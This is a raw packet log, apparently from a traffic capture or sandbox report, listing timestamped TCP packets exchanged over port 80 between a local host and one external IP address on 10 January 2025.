Jan 10, 2025 17:19:14.889899015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.889930010 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.889949083 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.890820026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890832901 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890845060 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890856028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890867949 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890876055 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.890878916 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890889883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890897036 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.890902996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.890933990 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.890955925 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.891761065 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891773939 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891786098 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891798019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891805887 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.891810894 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891822100 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891833067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891839981 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.891845942 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.891865015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.891882896 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.892615080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.898818016 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.911514997 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.921538115 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921561956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921575069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921586037 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921597004 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921608925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.921610117 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.921642065 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.945990086 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.955027103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958064079 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958097935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958111048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958123922 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958136082 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958137035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958147049 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958178043 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958208084 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958220005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958234072 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958246946 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958257914 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958259106 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958271980 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.958292007 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.958321095 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.962425947 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.966104984 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.971592903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.971611023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.971623898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.971678972 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.995471954 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995511055 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995521069 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995539904 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.995542049 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995554924 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995568037 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995569944 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.995579958 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995590925 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995609999 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.995647907 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995661020 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995672941 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995686054 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:14.995686054 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:14.995707035 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009048939 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009063959 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009083033 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009094000 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009105921 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009116888 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009130001 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009130955 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009159088 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009176016 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009238958 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009249926 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009262085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009273052 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009284019 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009287119 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009294987 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009305000 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009309053 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009335995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009361029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009373903 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009385109 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009396076 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009396076 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009416103 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009488106 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009499073 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009510040 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009522915 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009529114 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009541035 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009552956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009560108 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009563923 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009582043 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009612083 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009733915 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009744883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009757996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009797096 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009835005 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009846926 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009859085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009871006 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009872913 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009882927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009895086 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.009902954 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.009932995 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010082006 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010093927 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010107040 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010117054 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010137081 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010148048 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010155916 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010165930 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010179996 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010183096 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010222912 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010234118 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010246038 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010258913 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010272026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010282040 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010282993 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010296106 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010303974 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010308027 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010320902 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010334015 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010354996 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010632992 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010648012 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010659933 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010670900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010684013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.010694027 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.010721922 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014024973 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014050961 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014064074 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014075041 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014081955 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014087915 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014106989 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014117002 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014126062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014137030 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014147043 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014149904 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014161110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014168978 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014173985 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014184952 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014188051 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014197111 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014208078 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014221907 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014229059 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014241934 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014254093 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014255047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014269114 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014276028 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014281988 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014295101 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014297009 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014333963 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014707088 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014725924 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014738083 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014746904 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014750004 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014755964 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014767885 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014775038 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014780045 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014791965 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014801025 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014803886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014816999 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014828920 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014841080 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014849901 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014852047 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014863968 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014875889 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014883041 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014889956 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.014903069 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.014936924 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.015820026 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.045059919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045077085 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045089960 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045104027 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045114994 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045125961 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045136929 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045150995 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.045149088 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.045190096 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.058384895 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058432102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058444023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058458090 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058469057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058471918 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.058481932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058492899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058506012 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.058507919 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.058517933 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.058540106 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.082268953 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082298040 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082310915 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082321882 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082334995 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082340002 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.082345963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082357883 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082366943 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.082371950 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.082397938 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.084605932 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.095973015 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096002102 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096014023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096033096 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096050978 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096062899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096071959 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096075058 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096086979 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096098900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096101046 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096108913 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096122026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096132994 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096137047 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096146107 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096157074 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096158028 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096168041 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096178055 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096183062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096194029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096200943 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096227884 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096443892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096462011 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096473932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096484900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096496105 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096497059 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096508980 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096518040 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096522093 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096533060 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096545935 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096549034 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096565008 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096573114 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096576929 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096589088 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096601009 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096611023 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096613884 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096623898 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096636057 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096647024 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096648932 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096659899 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096671104 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096685886 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096695900 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096698999 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096709013 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096725941 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096736908 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096741915 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096748114 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096766949 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096771002 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096780062 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096791029 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096791029 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096796989 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096807957 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096818924 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096831083 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096832991 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096851110 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096858978 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096864939 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096875906 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096884012 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096894026 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096905947 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096916914 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096924067 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096935034 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096946955 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096956968 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096956968 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096971989 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096971989 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.096987963 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.096999884 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097012043 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097019911 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.097028971 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097038984 CET	49740	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:19:15.097040892 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097052097 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097064018 CET	80	49740	193.143.1.205	192.168.2.10
Jan 10, 2025 17:19:15.097076893 CET	49740	80	192.168.2.10	193.143.1.205
